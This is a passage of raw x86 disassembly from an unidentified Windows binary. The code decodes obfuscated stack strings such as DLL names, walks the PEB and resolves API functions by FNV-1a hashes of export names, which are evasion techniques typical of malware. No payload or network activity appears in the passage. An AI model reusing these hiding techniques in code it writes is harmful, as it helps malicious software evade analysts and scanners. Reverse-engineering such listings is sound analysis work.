movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
push 0x68
lea ecx, [esp + 0xe0]
mov dword [0x568a7c], eax
mov byte [esp + 0xe0], 0x50
call fcn.004a1910
push 0x74
lea ecx, [esp + 0xe0]
mov byte [esp + 0xe1], al
call fcn.004a1910
push 0x78
lea ecx, [esp + 0xe0]
mov byte [esp + 0xe2], al
call fcn.004a1910
push 0x58
lea ecx, [esp + 0xe0]
mov byte [esp + 0xe3], al
call fcn.004a1910
push 0x66
lea ecx, [esp + 0xe0]
mov byte [esp + 0xe4], al
call fcn.004a1910
mov byte [esp + 0xe1], al
xor esi, esi
mov byte [esp + 0xe2], 0
nop
push esi
lea ecx, [esp + 0xe1]
call fcn.004a1930
lea ecx, [esp + 0xdc]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xe1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4c90d0
push 5
lea ecx, [esp + 0xe1]
call fcn.004a1930
lea ecx, [esp + 0xdd]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x674]
call fcn.004a1bf0
push 0x74
lea ecx, [esp + 0x138]
mov byte [esp + 0x138], 0x4a
call fcn.004a1910
push 0x36
lea ecx, [esp + 0x138]
mov byte [esp + 0x139], al
call fcn.004a1910
push 0x57
lea ecx, [esp + 0x138]
mov byte [esp + 0x13a], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x138]
mov byte [esp + 0x13b], al
call fcn.004a1910
push 0x49
lea ecx, [esp + 0x138]
mov byte [esp + 0x13c], al
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x138]
mov byte [esp + 0x13d], al
call fcn.004a1910
mov byte [esp + 0x13a], al
xor esi, esi
mov byte [esp + 0x13b], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x139]
call fcn.004a1930
lea ecx, [esp + 0x134]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x139]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4c91d0
push 6
lea ecx, [esp + 0x139]
call fcn.004a1930
lea ecx, [esp + 0x135]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x674]
call fcn.004a1a70
lea ecx, [esp + 0x670]
call fcn.004a1ba0
push 0x41
lea ecx, [esp + 0x270]
mov byte [esp + 0x270], 0x51
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x270]
mov byte [esp + 0x271], al
call fcn.004a1910
push 0x76
lea ecx, [esp + 0x270]
mov byte [esp + 0x272], al
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x270]
mov byte [esp + 0x273], al
call fcn.004a1910
push 0x70
lea ecx, [esp + 0x270]
mov byte [esp + 0x274], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x270]
mov byte [esp + 0x275], al
call fcn.004a1910
push 0x33
lea ecx, [esp + 0x270]
mov byte [esp + 0x276], al
call fcn.004a1910
push 0x32
lea ecx, [esp + 0x270]
mov byte [esp + 0x277], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x270]
mov byte [esp + 0x278], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x270]
mov byte [esp + 0x279], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x270]
mov byte [esp + 0x27a], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x270]
mov byte [esp + 0x27b], al
call fcn.004a1910
mov byte [esp + 0x278], al
xor esi, esi
mov byte [esp + 0x279], 0
nop
push esi
lea ecx, [esp + 0x271]
call fcn.004a1930
lea ecx, [esp + 0x26c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x271]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0xc
jb 0x4c9350
push 0xc
lea ecx, [esp + 0x271]
call fcn.004a1930
lea ecx, [esp + 0x26d]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c9428
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c9428
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0xdff00b40
mov al, byte [edx]
inc edx
test al, al
je 0x4c941d
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c9400
cmp esi, 0x1a5a2d2
je 0x4c942c
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c93e7
mov ecx, dword [ecx]
jmp 0x4c93c0
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
push 0x32
lea ecx, [esp + 0x140]
mov dword [0x568a74], eax
mov byte [esp + 0x140], 0x44
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x140]
mov byte [esp + 0x141], al
call fcn.004a1910
push 0x63
lea ecx, [esp + 0x140]
mov byte [esp + 0x142], al
call fcn.004a1910
push 0x41
lea ecx, [esp + 0x140]
mov byte [esp + 0x143], al
call fcn.004a1910
push 0x66
lea ecx, [esp + 0x140]
mov byte [esp + 0x144], al
call fcn.004a1910
push 0x4f
lea ecx, [esp + 0x140]
mov byte [esp + 0x145], al
call fcn.004a1910
mov byte [esp + 0x142], al
xor esi, esi
mov byte [esp + 0x143], 0
nop dword [eax]
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x141]
call fcn.004a1930
lea ecx, [esp + 0x13c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x141]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4c94f0
push 6
lea ecx, [esp + 0x141]
call fcn.004a1930
lea ecx, [esp + 0x13d]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x544]
call fcn.004a1bf0
push 0x6f
lea ecx, [esp + 0x234]
mov byte [esp + 0x234], 0x24
call fcn.004a1910
push 0x52
lea ecx, [esp + 0x234]
mov byte [esp + 0x235], al
call fcn.004a1910
push 0x4d
lea ecx, [esp + 0x234]
mov byte [esp + 0x236], al
call fcn.004a1910
push 0x68
lea ecx, [esp + 0x234]
mov byte [esp + 0x237], al
call fcn.004a1910
push 0x34
lea ecx, [esp + 0x234]
mov byte [esp + 0x238], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x234]
mov byte [esp + 0x239], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x234]
mov byte [esp + 0x23a], al
call fcn.004a1910
push 0x50
lea ecx, [esp + 0x234]
mov byte [esp + 0x23b], al
call fcn.004a1910
mov byte [esp + 0x238], al
xor esi, esi
mov byte [esp + 0x239], 0
nop
push esi
lea ecx, [esp + 0x235]
call fcn.004a1930
lea ecx, [esp + 0x230]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x235]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 8
jb 0x4c9610
push 8
lea ecx, [esp + 0x235]
call fcn.004a1930
lea ecx, [esp + 0x231]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x544]
call fcn.004a1a70
push 0x73
lea ecx, [esp + 0x228]
mov byte [esp + 0x228], 0x68
call fcn.004a1910
push 0x56
lea ecx, [esp + 0x228]
mov byte [esp + 0x229], al
call fcn.004a1910
push 0x52
lea ecx, [esp + 0x228]
mov byte [esp + 0x22a], al
call fcn.004a1910
push 0x6a
lea ecx, [esp + 0x228]
mov byte [esp + 0x22b], al
call fcn.004a1910
push 0x52
lea ecx, [esp + 0x228]
mov byte [esp + 0x22c], al
call fcn.004a1910
push 0x53
lea ecx, [esp + 0x228]
mov byte [esp + 0x22d], al
call fcn.004a1910
push 0x4b
lea ecx, [esp + 0x228]
mov byte [esp + 0x22e], al
call fcn.004a1910
push 0x46
lea ecx, [esp + 0x228]
mov byte [esp + 0x22f], al
call fcn.004a1910
mov byte [esp + 0x22c], al
xor esi, esi
mov byte [esp + 0x22d], 0
nop
push esi
lea ecx, [esp + 0x229]
call fcn.004a1930
lea ecx, [esp + 0x224]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x229]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 8
jb 0x4c9730
push 8
lea ecx, [esp + 0x229]
call fcn.004a1930
lea ecx, [esp + 0x225]
mov byte [eax], 0
call fcn.004a1920
mov edx, eax
lea ecx, [esp + 0x540]
call fcn.004a20d0
test al, al
je 0x4c9884
push 0x62
lea ecx, [esp + 0xe8]
mov byte [esp + 0xe8], 0x65
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0xe8]
mov byte [esp + 0xe9], al
call fcn.004a1910
push 0x57
lea ecx, [esp + 0xe8]
mov byte [esp + 0xea], al
call fcn.004a1910
push 0x58
lea ecx, [esp + 0xe8]
mov byte [esp + 0xeb], al
call fcn.004a1910
push 0x34
lea ecx, [esp + 0xe8]
mov byte [esp + 0xec], al
call fcn.004a1910
mov byte [esp + 0xe9], al
xor esi, esi
mov byte [esp + 0xea], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0xe9]
call fcn.004a1930
lea ecx, [esp + 0xe4]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0xe9]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 5
jb 0x4c9820
push 5
lea ecx, [esp + 0xe9]
call fcn.004a1930
lea ecx, [esp + 0xe5]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x544]
call fcn.004a1aa0
lea ecx, [esp + 0x540]
call fcn.004a1ba0
push 0x4d
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a0], 0x3b
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a1], al
call fcn.004a1910
push 0x67
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a2], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a3], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a4], al
call fcn.004a1910
push 0x66
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a5], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a6], al
call fcn.004a1910
push 0x63
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a7], al
call fcn.004a1910
push 0x61
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a8], al
call fcn.004a1910
push 0x74
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2a9], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2aa], al
call fcn.004a1910
push 0x6f
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2ab], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2ac], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2ad], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2ae], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2af], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x2a0]
mov byte [esp + 0x2b0], al
call fcn.004a1910
mov byte [esp + 0x2ad], al
xor esi, esi
mov byte [esp + 0x2ae], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x2a1]
call fcn.004a1930
lea ecx, [esp + 0x29c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x2a1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0x11
jb 0x4c9a10
push 0x11
lea ecx, [esp + 0x2a1]
call fcn.004a1930
lea ecx, [esp + 0x29d]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c9ae8
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c9ae8
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0x53eaa62
mov al, byte [edx]
inc edx
test al, al
je 0x4c9add
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c9ac0
cmp esi, 0x56e80e14
je 0x4c9aec
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c9aa7
mov ecx, dword [ecx]
jmp 0x4c9a80
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
push 0x61
lea ecx, [esp + 0x2bc]
mov dword [0x568a64], eax
mov byte [esp + 0x2bc], 0x4b
call fcn.004a1910
push 0x70
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2bd], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2be], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2bf], al
call fcn.004a1910
push 0x6d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c0], al
call fcn.004a1910
push 0x73
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c1], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c2], al
call fcn.004a1910
push 0x77
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c3], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c4], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c5], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c6], al
call fcn.004a1910
push 0x63
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c7], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c8], al
call fcn.004a1910
push 0x74
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2c9], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2ca], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2cb], al
call fcn.004a1910
push 0x75
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2cc], al
call fcn.004a1910
mov byte [esp + 0x2c9], al
push 0x6e
lea ecx, [esp + 0x2bc]
call fcn.004a1910
push 0x74
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2ce], al
call fcn.004a1910
push 0x69
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2cf], al
call fcn.004a1910
push 0x6d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d0], al
call fcn.004a1910
push 0x65
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d1], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d2], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d3], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d4], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d5], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d6], al
call fcn.004a1910
push 0x2d
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d7], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d8], al
call fcn.004a1910
push 0x2e
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2d9], al
call fcn.004a1910
push 0x64
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2da], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2db], al
call fcn.004a1910
push 0x6c
lea ecx, [esp + 0x2bc]
mov byte [esp + 0x2dc], al
call fcn.004a1910
mov byte [esp + 0x2d9], al
xor esi, esi
mov byte [esp + 0x2da], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x2bd]
call fcn.004a1930
lea ecx, [esp + 0x2b8]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x2bd]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 0x21
jb 0x4c9de0
push 0x21
lea ecx, [esp + 0x2bd]
call fcn.004a1930
lea ecx, [esp + 0x2b9]
mov byte [eax], 0
call fcn.004a1920
mov ecx, dword fs:[0x30]
mov dword [esp + 0x18], eax
mov ecx, dword [ecx + 0xc]
mov ecx, dword [ecx + 0xc]
nop dword [eax + eax]
mov esi, dword [ecx + 0x18]
mov dword [esp + 0x24], esi
mov edx, dword [esi + 0x3c]
mov eax, dword [edx + esi + 0x78]
add eax, esi
mov dword [esp + 0x28], eax
cmp eax, esi
je 0x4c9eb8
mov edi, dword [eax + 0x18]
test edi, edi
je 0x4c9eb8
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
mov edx, dword [eax - 4]
sub eax, 4
add edx, esi
mov dword [esp + 0x20], eax
dec edi
mov esi, 0x5d1ee7c0
mov al, byte [edx]
inc edx
test al, al
je 0x4c9ead
movsx eax, al
lea edx, [edx + 1]
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edx - 1]
test al, al
jne 0x4c9e90
cmp esi, 0x8e15d752
je 0x4c9ebc
mov eax, dword [esp + 0x20]
mov esi, dword [ecx + 0x18]
test edi, edi
jne 0x4c9e77
mov ecx, dword [ecx]
jmp 0x4c9e50
mov esi, dword [esp + 0x28]
mov edx, dword [esp + 0x24]
push dword [esp + 0x18]
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edx, dword [0x568a4c]
xor edi, edi
mov dword [0x568a78], eax
mov eax, dword [edx + 0x3c]
mov eax, dword [eax + edx + 0x78]
add eax, edx
mov dword [esp + 0x20], eax
mov esi, dword [eax + 0x20]
add esi, edx
nop
mov ecx, dword [esi]
add ecx, edx
mov edx, 0xd49f4a7
mov al, byte [ecx]
inc ecx
test al, al
je 0x4c9f2d
movsx eax, al
lea ecx, [ecx + 1]
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx - 1]
test al, al
jne 0x4c9f10
cmp edx, 0x6742edc1
je 0x4c9f39
mov edx, dword [0x568a4c]
inc edi
add esi, 4
jmp 0x4c9f00
mov esi, dword [esp + 0x20]
lea eax, [esp + 0x820]
mov edx, dword [0x568a4c]
push 0x104
push eax
mov eax, dword [esi + 0x24]
push 0
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
lea eax, [esp + 0x820]
push eax
lea ecx, [esp + 0x488]
call fcn.004a3690
push 0x5c
lea ecx, [esp + 0x3c]
mov byte [esp + 0x3c], 0x26
call fcn.004a1910
push 0
lea ecx, [esp + 0x3d]
mov byte [esp + 0x3d], al
mov byte [esp + 0x3e], 0
call fcn.004a1930
lea ecx, [esp + 0x38]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push 0
lea ecx, [esp + 0x3d]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
push 1
mov byte [eax], cl
lea ecx, [esp + 0x3d]
call fcn.004a1930
lea ecx, [esp + 0x39]
mov byte [eax], 0
call fcn.004a1920
lea ecx, [esp + 0x484]
mov esi, eax
call fcn.004a3630
push eax
push ecx
push 0xffffffffffffffff
sub esp, 0x18
mov ecx, esp
push esi
call fcn.004a1bf0
lea ecx, [esp + 0x448]
call fcn.004d5770
add esp, 0x18
mov ecx, eax
call fcn.004a1940
push eax
lea ecx, [esp + 0x494]
call fcn.004a3500
add esp, 4
lea ecx, [esp + 0x488]
inc eax
push eax
lea eax, [esp + 0x444]
push eax
call fcn.004a34a0
push eax
lea ecx, [esp + 0x488]
call fcn.004a19d0
lea ecx, [esp + 0x43c]
call fcn.004a19c0
lea ecx, [esp + 0x424]
call fcn.004a19c0
lea ecx, [esp + 0x484]
call fcn.004a3630
sub eax, 4
push eax
push 0
lea eax, [esp + 0x414]
push eax
lea ecx, [esp + 0x490]
call fcn.004a34a0
push eax
mov ecx, 0x568270
call fcn.004a19d0
lea ecx, [esp + 0x40c]
call fcn.004a19c0
lea ecx, [esp + 0x484]
call fcn.004a3630
sub eax, 4
lea ecx, [esp + 0x484]
push eax
push 0
lea eax, [esp + 0x45c]
push eax
call fcn.004a34a0
push eax
mov ecx, 0x568250
call fcn.004a19d0
lea ecx, [esp + 0x454]
call fcn.004a19c0
push 0x46
lea ecx, [esp + 0x148]
mov byte [esp + 0x148], 0x70
call fcn.004a1910
push 0x4b
lea ecx, [esp + 0x148]
mov byte [esp + 0x149], al
call fcn.004a1910
push 0x42
lea ecx, [esp + 0x148]
mov byte [esp + 0x14a], al
call fcn.004a1910
push 0x44
lea ecx, [esp + 0x148]
mov byte [esp + 0x14b], al
call fcn.004a1910
push 0x46
lea ecx, [esp + 0x148]
mov byte [esp + 0x14c], al
call fcn.004a1910
push 0x37
lea ecx, [esp + 0x148]
mov byte [esp + 0x14d], al
call fcn.004a1910
mov byte [esp + 0x14a], al
xor esi, esi
mov byte [esp + 0x14b], 0
push esi
lea ecx, [esp + 0x149]
call fcn.004a1930
lea ecx, [esp + 0x144]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x149]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 6
jb 0x4ca162
push 6
lea ecx, [esp + 0x149]
call fcn.004a1930
lea ecx, [esp + 0x145]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x6a4]
call fcn.004a1bf0
push 0x44
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e0], 0x5c
call fcn.004a1910
push 0x4a
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e1], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e2], al
call fcn.004a1910
push 0x4f
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e3], al
call fcn.004a1910
push 0x52
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e4], al
call fcn.004a1910
push 0x79
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e5], al
call fcn.004a1910
push 0x4a
lea ecx, [esp + 0x1e0]
mov byte [esp + 0x1e6], al
call fcn.004a1910
mov byte [esp + 0x1e3], al
xor esi, esi
mov byte [esp + 0x1e4], 0
nop dword [eax + eax]
push esi
lea ecx, [esp + 0x1e1]
call fcn.004a1930
lea ecx, [esp + 0x1dc]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x1e1]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 7
jb 0x4ca270
push 7
lea ecx, [esp + 0x1e1]
call fcn.004a1930
lea ecx, [esp + 0x1dd]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x68c]
call fcn.004a1bf0
push 0x73
lea ecx, [esp + 0x21c]
mov byte [esp + 0x21c], 0x48
call fcn.004a1910
push 0x38
lea ecx, [esp + 0x21c]
mov byte [esp + 0x21d], al
call fcn.004a1910
push 0x4c
lea ecx, [esp + 0x21c]
mov byte [esp + 0x21e], al
call fcn.004a1910
push 0x31
lea ecx, [esp + 0x21c]
mov byte [esp + 0x21f], al
call fcn.004a1910
push 0x71
lea ecx, [esp + 0x21c]
mov byte [esp + 0x220], al
call fcn.004a1910
push 0x73
lea ecx, [esp + 0x21c]
mov byte [esp + 0x221], al
call fcn.004a1910
push 0x42
lea ecx, [esp + 0x21c]
mov byte [esp + 0x222], al
call fcn.004a1910
push 0x72
lea ecx, [esp + 0x21c]
mov byte [esp + 0x223], al
call fcn.004a1910
mov byte [esp + 0x220], al
xor esi, esi
mov byte [esp + 0x221], 0
nop
push esi
lea ecx, [esp + 0x21d]
call fcn.004a1930
lea ecx, [esp + 0x218]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x21d]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 8
jb 0x4ca390
push 8
lea ecx, [esp + 0x21d]
call fcn.004a1930
lea ecx, [esp + 0x219]
mov byte [eax], 0
call fcn.004a1920
push 1
mov esi, eax
lea ecx, [esp + 0x6a4]
push 0
lea eax, [esp + 0x474]
push eax
call fcn.004a1a10
mov edx, esi
mov ecx, eax
call fcn.004a20d0
lea ecx, [esp + 0x46c]
mov byte [esp + 0x17], al
call fcn.004a1ba0
cmp byte [esp + 0x17], 0
je 0x4ca4c5
push 0x7a
lea ecx, [esp + 0x58]
mov byte [esp + 0x58], 0x7c
call fcn.004a1910
push 0x59
lea ecx, [esp + 0x58]
mov byte [esp + 0x59], al
call fcn.004a1910
push 0x6e
lea ecx, [esp + 0x58]
mov byte [esp + 0x5a], al
call fcn.004a1910
push 0x4b
lea ecx, [esp + 0x58]
mov byte [esp + 0x5b], al
call fcn.004a1910
mov byte [esp + 0x58], al
xor esi, esi
mov byte [esp + 0x59], 0
nop dword [eax]
push esi
lea ecx, [esp + 0x59]
call fcn.004a1930
lea ecx, [esp + 0x54]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x59]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4ca470
push 4
lea ecx, [esp + 0x59]
call fcn.004a1930
lea ecx, [esp + 0x55]
mov byte [eax], 0
call fcn.004a1920
push eax
lea ecx, [esp + 0x68c]
call fcn.004a1a70
lea ecx, [esp + 0x688]
call fcn.004a1ba0
lea ecx, [esp + 0x6a0]
call fcn.004a1ba0
call fcn.004cebe0
push 0x30
lea ecx, [esp + 0x60]
mov byte [esp + 0x60], 0x3e
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x60]
mov byte [esp + 0x61], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x60]
mov byte [esp + 0x62], al
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x60]
mov byte [esp + 0x63], al
call fcn.004a1910
mov byte [esp + 0x60], al
xor esi, esi
mov byte [esp + 0x61], 0
nop word [eax + eax]
push esi
lea ecx, [esp + 0x61]
call fcn.004a1930
lea ecx, [esp + 0x5c]
movzx eax, byte [eax]
push eax
call fcn.004a1910
push esi
lea ecx, [esp + 0x61]
mov byte [esp + 0x1b], al
call fcn.004a1930
mov cl, byte [esp + 0x17]
inc esi
mov byte [eax], cl
cmp esi, 4
jb 0x4ca530
push 4
lea ecx, [esp + 0x61]
call fcn.004a1930
lea ecx, [esp + 0x5d]
mov byte [eax], 0
call fcn.004a1920
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004a1bf0
lea ecx, [esp + 0x364]
call fcn.004d65f0
add esp, 0x18
mov ecx, 0x568290
push eax
call fcn.004a19d0
lea ecx, [esp + 0x34c]
call fcn.004a19c0
push 0x30
lea ecx, [esp + 0x68]
mov byte [esp + 0x68], 0x46
call fcn.004a1910
push 0x30
lea ecx, [esp + 0x68]
